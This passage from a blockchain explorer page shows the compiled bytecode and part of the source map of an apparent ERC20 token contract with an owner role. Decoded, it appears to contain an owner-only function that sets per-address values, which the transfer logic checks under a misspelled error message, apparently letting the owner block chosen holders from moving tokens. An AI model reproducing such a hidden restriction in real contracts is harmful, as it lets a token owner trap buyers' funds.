10390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081359050611126816119c4565b92915050565b60008083601f84011261113e57600080fd5b8235905067ffffffffffffffff81111561115757600080fd5b60208301915083602082028301111561116f57600080fd5b9250929050565b600081359050611185816119db565b92915050565b60006020828403121561119d57600080fd5b60006111ab84828501611117565b91505092915050565b600080604083850312156111c757600080fd5b60006111d585828601611117565b92505060206111e685828601611117565b9150509250929050565b60008060006060848603121561120557600080fd5b600061121386828701611117565b935050602061122486828701611117565b925050604061123586828701611176565b9150509250925092565b6000806040838503121561125257600080fd5b600061126085828601611117565b925050602061127185828601611176565b9150509250929050565b60008060006040848603121561129057600080fd5b600084013567ffffffffffffffff8111156112aa57600080fd5b6112b68682870161112c565b935093505060206112c986828701611176565b9150509250925092565b6112dc81611852565b82525050565b6112eb81611864565b82525050565b60006112fc826117e0565b61130681856117eb565b93506113168185602086016118a7565b61131f816119b3565b840191505092915050565b60006113376023836117eb565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061139d6026836117eb565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114036022836117eb565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114696020836117eb565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006114a9603e836117eb565b91507f45524332303a2063726f737320616d61756e647420646f6573206e6f7420657160008301527f75616c207468652063726f7373207472616e7366657220616d61756e647400006020830152604082019050919050565b600061150f6025836117eb565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115756024836117eb565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115db6021836117eb565b91507f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61163d81611890565b82525050565b61164c8161189a565b82525050565b600060208201905061166760008301846112d3565b92915050565b600060208201905061168260008301846112e2565b92915050565b600060208201905081810360008301526116a281846112f1565b905092915050565b600060208201905081810360008301526116c38161132a565b9050919050565b600060208201905081810360008301526116e381611390565b9050919050565b60006020820190508181036000830152611703816113f6565b9050919050565b600060208201905081810360008301526117238161145c565b9050919050565b600060208201905081810360008301526117438161149c565b9050919050565b6000602082019050818103600083015261176381611502565b9050919050565b6000602082019050818103600083015261178381611568565b9050919050565b600060208201905081810360008301526117a3816115ce565b9050919050565b60006020820190506117bf6000830184611634565b92915050565b60006020820190506117da6000830184611643565b92915050565b600081519050919050565b600082825260208201905092915050565b600061180782611890565b915061181283611890565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561184757611846611955565b5b828201905092915050565b600061185d82611870565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118c55780820151818401526020810190506118aa565b838111156118d4576000848401525b50505050565b600060028204905060018216806118f257607f821691505b6020821081141561190657611905611984565b5b50919050565b600061191782611890565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561194a57611949611955565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6119cd81611852565b81146119d857600080fd5b50565b6119e481611890565b81146119ef57600080fd5b5056fe45524332303a207472616e7366657220616d61756e647420657863656564732062616c616e636545524332303a207472616e7366657220616d61756e6474206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208b879bdcb953914c8943fa34808f86a0d8b38a5c21706a176d3cb402185080e964736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b4114610263578063a0bb45ec1461028157610100565b806323b872dd116100d357806323b872dd1461018d578063313ce567146101bd57806339509351146101db57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd146101535780631e0d320614610171575b600080fd5b61010d61035d565b60405161011a9190611688565b60405180910390f35b61013d6004803603810190610138919061123f565b6103ef565b60405161014a919061166d565b60405180910390f35b61015b61040d565b60405161016891906117aa565b60405180910390f35b61018b6004803603810190610186919061127b565b610417565b005b6101a760048036038101906101a291906111f0565b61054b565b6040516101b4919061166d565b60405180910390f35b6101c5610624565b6040516101d291906117c5565b60405180910390f35b6101f560048036038101906101f0919061123f565b61063b565b604051610202919061166d565b60405180910390f35b6102256004803603810190610220919061118b565b6106ee565b60405161023291906117aa565b60405180910390f35b610243610737565b005b61024d6107bf565b60405161025a9190611652565b60405180910390f35b61026b6107e8565b6040516102789190611688565b60405180910390f35b61029b6004803603810190610296919061118b565b61087a565b6040516102a891906117aa565b60405180910390f35b6102cb60048036038101906102c6919061123f565b6108c3565b6040516102d8919061166d565b60405180910390f35b6102fb60048036038101906102f6919061123f565b610990565b604051610308919061166d565b60405180910390f35b61032b600480360381019061032691906111b4565b6109ae565b60405161033891906117aa565b60405180910390f35b61035b6004803603810190610356919061118b565b610a35565b005b60606004805461036c906118da565b80601f0160208091040260200160405190810160405280929190818152602001828054610398906118da565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610b43565b8484610b4b565b6001905092915050565b6000600754905090565b61041f6107bf565b73ffffffffffffffffffffffffffffffffffffffff1661043d610b43565b73ffffffffffffffffffffffffffffffffffffffff1614610493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048a9061178a565b60405180910390fd5b60005b838390508110156105455781600360008686858181106104df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906104f4919061118b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061053d9061190c565b915050610496565b50505050565b6000610558848484610d16565b61061984610564610b43565b61061485604051806060016040528060298152602001611a1a60299139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ca610b43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ffe9092919063ffffffff16565b610b4b565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006106e4610648610b43565b846106df8560026000610659610b43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2d90919063ffffffff16565b610b4b565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61073f610b43565b73ffffffffffffffffffffffffffffffffffffffff1661075d6107bf565b73ffffffffffffffffffffffffffffffffffffffff16146107b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107aa9061170a565b60405180910390fd5b6107bd6000611053565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107f7906118da565b80601f0160208091040260200160405190810160405280929190818152602001828054610823906118da565b80156108705780601f1061084557610100808354040283529160200191610870565b820191906000526020600020905b81548152906001019060200180831161085357829003601f168201915b5050505050905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006109866108d0610b43565b8461098185604051806060016040528060258152602001611a4360259139600260006108fa610b43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ffe9092919063ffffffff16565b610b4b565b6001905092915050565b60006109a461099d610b43565b8484610d16565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a3d610b43565b73ffffffffffffffffffffffffffffffffffffffff16610a5b6107bf565b73ffffffffffffffffffffffffffffffffffffffff1614610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa89061170a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b18906116ca565b60405180910390fd5b610b2a81611053565b50565b60008183610b3b91906117fc565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb29061176a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c22906116ea565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d0991906117aa565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7d9061174a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ded906116aa565b60405180910390fd5b6000610e018461087a565b90506000811115610e4f57808211610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e459061172a565b60405180910390fd5b5b610ebb826040518060600160405280602781526020016119f360279139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f5082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ff091906117aa565b60405180910390a350505050565b6000838311158290611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d9190611688565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081359050611126816119c4565b92915050565b60008083601f84011261113e57600080fd5b8235905067ffffffffffffffff81111561115757600080fd5b60208301915083602082028301111561116f57600080fd5b9250929050565b600081359050611185816119db565b92915050565b60006020828403121561119d57600080fd5b60006111ab84828501611117565b91505092915050565b600080604083850312156111c757600080fd5b60006111d585828601611117565b92505060206111e685828601611117565b9150509250929050565b60008060006060848603121561120557600080fd5b600061121386828701611117565b935050602061122486828701611117565b925050604061123586828701611176565b9150509250925092565b6000806040838503121561125257600080fd5b600061126085828601611117565b925050602061127185828601611176565b9150509250929050565b60008060006040848603121561129057600080fd5b600084013567ffffffffffffffff8111156112aa57600080fd5b6112b68682870161112c565b935093505060206112c986828701611176565b9150509250925092565b6112dc81611852565b82525050565b6112eb81611864565b82525050565b60006112fc826117e0565b61130681856117eb565b93506113168185602086016118a7565b61131f816119b3565b840191505092915050565b60006113376023836117eb565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061139d6026836117eb565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114036022836117eb565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114696020836117eb565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006114a9603e836117eb565b91507f45524332303a2063726f737320616d61756e647420646f6573206e6f7420657160008301527f75616c207468652063726f7373207472616e7366657220616d61756e647400006020830152604082019050919050565b600061150f6025836117eb565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115756024836117eb565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115db6021836117eb565b91507f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61163d81611890565b82525050565b61164c8161189a565b82525050565b600060208201905061166760008301846112d3565b92915050565b600060208201905061168260008301846112e2565b92915050565b600060208201905081810360008301526116a281846112f1565b905092915050565b600060208201905081810360008301526116c38161132a565b9050919050565b600060208201905081810360008301526116e381611390565b9050919050565b60006020820190508181036000830152611703816113f6565b9050919050565b600060208201905081810360008301526117238161145c565b9050919050565b600060208201905081810360008301526117438161149c565b9050919050565b6000602082019050818103600083015261176381611502565b9050919050565b6000602082019050818103600083015261178381611568565b9050919050565b600060208201905081810360008301526117a3816115ce565b9050919050565b60006020820190506117bf6000830184611634565b92915050565b60006020820190506117da6000830184611643565b92915050565b600081519050919050565b600082825260208201905092915050565b600061180782611890565b915061181283611890565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561184757611846611955565b5b828201905092915050565b600061185d82611870565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118c55780820151818401526020810190506118aa565b838111156118d4576000848401525b50505050565b600060028204905060018216806118f257607f821691505b6020821081141561190657611905611984565b5b50919050565b600061191782611890565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561194a57611949611955565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6119cd81611852565b81146119d857600080fd5b50565b6119e481611890565b81146119ef57600080fd5b5056fe45524332303a207472616e7366657220616d61756e647420657863656564732062616c616e636545524332303a207472616e7366657220616d61756e6474206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208b879bdcb953914c8943fa34808f86a0d8b38a5c21706a176d3cb402185080e964736f6c63430008000033

Deployed Bytecode Sourcemap

7061:4721:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7754:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8797:212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8057:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9791:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9017:458;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7958:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9483:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8173:181;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;763:94;;;:::i;:::-;;540:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7853:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10089:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10215:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8362:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8588:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;865:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7754:91;7799:13;7832:5;7825:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7754:91;:::o;8797:212::-;8917:4;8939:40;8948:12;:10;:12::i;:::-;8962:7;8971;8939:8;:40::i;:::-;8997:4;8990:11;;8797:212;;;;:::o;8057:108::-;8118:7;8145:12;;8138:19;;8057:108;:::o;9791:290::-;9895:7;:5;:7::i;:::-;9879:23;;:12;:10;:12::i;:::-;:23;;;9875:75;;9905:43;;;;;;;;;;:::i;:::-;;;;;;;;9875:75;9965:9;9960:112;9984:9;;:16;;9980:1;:20;9960:112;;;10053:7;10022:14;:28;10037:9;;10047:1;10037:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10022:28;;;;;;;;;;;;;;;:38;;;;10002:3;;;;;:::i;:::-;;;;9960:112;;;;9791:290;;;:::o;9017:458::-;9158:4;9175:37;9185:6;9193:9;9204:7;9175:9;:37::i;:::-;9223:222;9246:6;9267:12;:10;:12::i;:::-;9294:140;9350:7;9294:140;;;;;;;;;;;;;;;;;:11;:19;9306:6;9294:19;;;;;;;;;;;;;;;:33;9314:12;:10;:12::i;:::-;9294:33;;;;;;;;;;;;;;;;:37;;:140;;;;;:::i;:::-;9223:8;:222::i;:::-;9463:4;9456:11;;9017:458;;;;;:::o;7958:91::-;8007:5;8032:9;;;;;;;;;;;8025:16;;7958:91;:::o;9483:300::-;9598:4;9620:133;9643:12;:10;:12::i;:::-;9670:7;9692:50;9731:10;9692:11;:25;9704:12;:10;:12::i;:::-;9692:25;;;;;;;;;;;;;;;:34;9718:7;9692:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;9620:8;:133::i;:::-;9771:4;9764:11;;9483:300;;;;:::o;8173:181::-;8294:7;8326:9;:20;8336:9;8326:20;;;;;;;;;;;;;;;;8319:27;;8173:181;;;:::o;763:94::-;686:12;:10;:12::i;:::-;675:23;;:7;:5;:7::i;:::-;:23;;;667:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;828:21:::1;846:1;828:9;:21::i;:::-;763:94::o:0;540:87::-;586:7;613:6;;;;;;;;;;;606:13;;540:87;:::o;7853:95::-;7900:13;7933:7;7926:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7853:95;:::o;10089:118::-;10147:7;10174:14;:25;10189:9;10174:25;;;;;;;;;;;;;;;;10167:32;;10089:118;;;:::o;10215:400::-;10335:4;10357:228;10380:12;:10;:12::i;:::-;10407:7;10429:145;10486:15;10429:145;;;;;;;;;;;;;;;;;:11;:25;10441:12;:10;:12::i;:::-;10429:25;;;;;;;;;;;;;;;:34;10455:7;10429:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;10357:8;:228::i;:::-;10603:4;10596:11;;10215:400;;;;:::o;8362:218::-;8485:4;8507:43;8517:12;:10;:12::i;:::-;8531:9;8542:7;8507:9;:43::i;:::-;8568:4;8561:11;;8362:218;;;;:::o;8588:201::-;8722:7;8754:11;:18;8766:5;8754:18;;;;;;;;;;;;;;;:27;8773:7;8754:27;;;;;;;;;;;;;;;;8747:34;;8588:201;;;;:::o;865:192::-;686:12;:10;:12::i;:::-;675:23;;:7;:5;:7::i;:::-;:23;;;667:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;974:1:::1;954:22;;:8;:22;;;;946:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1030:19;1040:8;1030:9;:19::i;:::-;865:192:::0;:::o;5787:98::-;5845:7;5876:1;5872;:5;;;;:::i;:::-;5865:12;;5787:98;;;;:::o;95:::-;148:7;175:10;168:17;;95:98;:::o;11392:383::-;11546:1;11529:19;;:5;:19;;;;11521:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11627:1;11608:21;;:7;:21;;;;11600:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11711:7;11681:11;:18;11693:5;11681:18;;;;;;;;;;;;;;;:27;11700:7;11681:27;;;;;;;;;;;;;;;:37;;;;11750:7;11734:33;;11743:5;11734:33;;;11759:7;11734:33;;;;;;:::i;:::-;;;;;;;;11392:383;;;:::o;10623:761::-;10782:1;10764:20;;:6;:20;;;;10756:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;10866:1;10845:23;;:9;:23;;;;10837:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10919:20;10942:16;10951:6;10942:8;:16::i;:::-;10919:39;;10988:1;10973:12;:16;10969:146;;;11024:12;11014:7;:22;11006:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;10969:146;11147:110;11183:7;11147:110;;;;;;;;;;;;;;;;;:9;:17;11157:6;11147:17;;;;;;;;;;;;;;;;:21;;:110;;;;;:::i;:::-;11127:9;:17;11137:6;11127:17;;;;;;;;;;;;;;;:130;;;;11291:33;11316:7;11291:9;:20;11301:9;11291:20;;;;;;;;;;;;;;;;:24;;:33;;;;:::i;:::-;11268:9;:20;11278:9;11268:20;;;;;;;;;;;;;;;:56;;;;11357:9;11340:36;;11349:6;11340:36;;;11368:7;11340:36;;;;;;:::i;:::-;;;;;;;;10623:761;;;;:::o;6320:240::-;6440:7;6498:1;6493;:6;;6501:12;6485:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;6540:1;6536;:5;6529:12;;6320:240;;;;;:::o;1065:173::-;1121:16;1140:6;;;;;;;;;;;1121:25;;1166:8;1157:6;;:17;;;;;;;;;;;;;;;;;;1221:8;1190:40;;1211:8;1190:40;;;;;;;;;;;;1065:173;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;169:367::-;;;302:3;295:4;287:6;283:17;279:27;269:2;;320:1;317;310:12;269:2;356:6;343:20;333:30;;386:18;378:6;375:30;372:2;;;418:1;415;408:12;372:2;455:4;447:6;443:17;431:29;;509:3;501:4;493:6;489:17;479:8;475:32;472:41;469:2;;;526:1;523;516:12;469:2;259:277;;;;;:::o;542:139::-;;626:6;613:20;604:29;;642:33;669:5;642:33;:::i;:::-;594:87;;;;:::o;687:262::-;;795:2;783:9;774:7;770:23;766:32;763:2;;;811:1;808;801:12;763:2;854:1;879:53;924:7;915:6;904:9;900:22;879:53;:::i;:::-;869:63;;825:117;753:196;;;;:::o;955:407::-;;;1080:2;1068:9;1059:7;1055:23;1051:32;1048:2;;;1096:1;1093;1086:12;1048:2;1139:1;1164:53;1209:7;1200:6;1189:9;1185:22;1164:53;:::i;:::-;1154:63;;1110:117;1266:2;1292:53;1337:7;1328:6;1317:9;1313:22;1292:53;:::i;:::-;1282:63;;1237:118;1038:324;;;;;:::o;1368:552::-;;;;1510:2;1498:9;1489:7;1485:23;1481:32;1478:2;;;1526:1;1523;1516:12;1478:2;1569:1;1594:53;1639:7;1630:6;1619:9;1615:22;1594:53;:::i;:::-;1584:63;;1540:117;1696:2;1722:53;1767:7;1758:6;1747:9;1743:22;1722:53;:::i;:::-;1712:63;;1667:118;1824:2;1850:53;1895:7;1886:6;1875:9;1871:22;1850:53;:::i;:::-;1840:63;;1795:118;1468:452;;;;;:::o;1926:407::-;;;2051:2;2039:9;2030:7;2026:23;2022:32;2019:2;;;2067:1;2064;2057:12;2019:2;2110:1;2135:53;2180:7;2171:6;2160:9;2156:22;2135:53;:::i;:::-;2125:63;;2081:117;2237:2;2263:53;2308:7;2299:6;2288:9;2284:22;2263:53;:::i;:::-;2253:63;;2208:118;2009:324;;;;;:::o;2339:570::-;;;;2499:2;2487:9;2478:7;2474:23;2470:32;2467:2;;;2515:1;2512;2505:12;2467:2;2586:1;2575:9;2571:17;2558:31;2616:18;2608:6;2605:30;2602:2;;;2648:1;2645;2638:12;2602:2;2684:80;2756:7;2747:6;2736:9;2732:22;2684:80;:::i;:::-;2666:98;;;;2529:245;2813:2;2839:53;2884:7;2875:6;2864:9;2860:22;2839:53;:::i;:::-;2829:63;;2784:118;2457:452;;;;;:::o;2915:118::-;3002:24;3020:5;3002:24;:::i;:::-;2997:3;2990:37;2980:53;;:::o;3039:109::-;3120:21;3135:5;3120:21;:::i;:::-;3115:3;3108:34;3098:50;;:::o;3154:364::-;;3270:39;3303:5;3270:39;:::i;:::-;3325:71;3389:6;3384:3;3325:71;:::i;:::-;3318:78;;3405:52;3450:6;3445:3;3438:4;3431:5;3427:16;3405:52;:::i;:::-;3482:29;3504:6;3482:29;:::i;:::-;3477:3;3473:39;3466:46;;3246:272;;;;;:::o;3524:367::-;;3687:67;3751:2;3746:3;3687:67;:::i;:::-;3680:74;;3784:34;3780:1;3775:3;3771:11;3764:55;3850:5;3845:2;3840:3;3836:12;3829:27;3882:2;3877:3;3873:12;3866:19;;3670:221;;;:::o;3897:370::-;;4060:67;4124:2;4119:3;4060:67;:::i;:::-;4053:74;;4157:34;4153:1;4148:3;4144:11;4137:55;4223:8;4218:2;4213:3;4209:12;4202:30;4258:2;4253:3;4249:12;4242:19;;4043:224;;;:::o;4273:366::-;;4436:67;4500:2;4495:3;4436:67;:::i;:::-;4429:74;;4533:34;4529:1;4524:3;4520:11;4513:55;4599:4;4594:2;4589:3;4585:12;4578:26;4630:2;4625:3;4621:12;4614:19;;4419:220;;;:::o;4645:330::-;;4808:67;4872:2;4867:3;4808:67;:::i;:::-;4801:74;;4905:34;4901:1;4896:3;4892:11;4885:55;4966:2;4961:3;4957:12;4950:19;;4791:184;;;:::o;4981:394::-;;5144:67;5208:2;5203:3;5144:67;:::i;:::-;5137:74;;5241:34;5237:1;5232:3;5228:11;5221:55;5307:32;5302:2;5297:3;5293:12;5286:54;5366:2;5361:3;5357:12;5350:19;;5127:248;;;:::o;5381:369::-;;5544:67;5608:2;5603:3;5544:67;:::i;:::-;5537:74;;5641:34;5637:1;5632:3;5628:11;5621:55;5707:7;5702:2;5697:3;5693:12;5686:29;5741:2;5736:3;5732:12;5725:19;;5527:223;;;:::o;5756:368::-;;5919:67;5983:2;5978:3;5919:67;:::i;:::-;5912:74;;6016:34;6012:1;6007:3;6003:11;5996:55;6082:6;6077:2;6072:3;6068:12;6061:28;6115:2;6110:3;6106:12;6099:19;;5902:222;;;:::o;6130:365::-;;6293:67;6357:2;6352:3;6293:67;:::i;:::-;6286:74;;6390:34;6386:1;6381:3;6377:11;6370:55;6456:3;6451:2;6446:3;6442:12;6435:25;6486:2;6481:3;6477:12;6470:19;;6276:219;;;:::o;6501:118::-;6588:24;6606:5;6588:24;:::i;:::-;6583:3;6576:37;6566:53;;:::o;6625:112::-;6708:22;6724:5;6708:22;:::i;:::-;6703:3;6696:35;6686:51;;:::o;6743:222::-;;6874:2;6863:9;6859:18;6851:26;;6887:71;6955:1;6944:9;6940:17;6931:6;6887:71;:::i;:::-;6841:124;;;;:::o;6971:210::-;;7096:2;7085:9;7081:18;7073:26;;7109:65;7171:1;7160:9;7156:17;7147:6;7109:65;:::i;:::-;7063:118;;;;:::o;7187:313::-;;7338:2;7327:9;7323:18;7315:26;;7387:9;7381:4;7377:20;7373:1;7362:9;7358:17;7351:47;7415:78;7488:4;7479:6;7415:78;:::i;:::-;7407:86;;7305:195;;;;:::o;7506:419::-;;7710:2;7699:9;7695:18;7687:26;;7759:9;7753:4;7749:20;7745:1;7734:9;7730:17;7723:47;7787:131;7913:4;7787:131;:::i;:::-;7779:139;;7677:248;;;:::o;7931:419::-;;8135:2;8124:9;8120:18;8112:26;;8184:9;8178:4;8174:20;8170:1;8159:9;8155:17;8148:47;8212:131;8338:4;8212:131;:::i;:::-;8204